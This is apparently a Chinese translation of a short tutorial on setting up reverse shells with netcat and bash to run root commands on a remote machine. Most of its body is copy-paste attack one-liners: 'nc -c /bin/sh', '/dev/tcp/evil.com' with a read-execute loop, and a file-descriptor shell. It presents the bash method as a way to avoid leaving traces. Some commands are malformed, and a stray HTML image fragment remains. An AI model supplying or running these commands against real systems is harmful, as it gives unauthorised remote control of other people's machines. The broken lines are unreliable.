英文原文:How to Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH
反向 shell (Reverse shell)是一种往远程机器发送 shell 命令的技术,当远程机器处在防火墙等其它东西后面时,这种技术会变得非常有用。你也许会说,“一个普通的 shell 或简单的 SSH 通道不是也能实现这些吗?”不,无法实现。在网上,我看到很多人对普通 shell 和反向 shell 之间的区别分不清。在我们开始下面的内容前,先弄清楚这些概念。
反向 Shell (Reverse Shell)
Bind Shell
反向 shell 经常会被黑客用来做一些不法行为,例如入侵了一台服务器后,他们会设置一个反向 shell,将来他们就能通过这个 shell 轻松的访问这台远程计算机。我相信你是不会用它来做这种事情的。
环境要求
使用 NetCat 实现反向 shell 交互
当通过 shell 登录到远程主机后,下面的指令能轻松的将 shell 发送到你的机器上:
nc -c /bin/sh <你的 IP> <任何一个未封锁的端口>
你甚至能通过 netcat 来 pipe BASH。
/bin/sh nc <你的 IP> <任何未封锁的端口>
然后监听这个 shell:
nc -l -p <相同的端口> -vvv
通过 BASH 实现反向 shell
这种技术是当远程机器上没有 netcat 或你想做一些非自然的事情而不想留下太重的痕迹时使用。
监听 shell:
nc -l -p <任何未封锁的端口> -vvv
先创建一个新的描述符,分配到一个网络节点。这样我们可以对这个描述符进行读写。
exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 while read line; do $line 2>&5 >&5; done
或另外一个反向 shell:
0<&196;exec 196<>/dev/tcp/<你的 IP>/<相同的端口>; sh <&196 >&196 2>&196
original="http://www.aqee.net/wordpress/wp-content/uploads/2013/12/create-reverse-shell-560x231.jpg" />
这样,你就可以轻松是通过 netcat 发送任何命令了。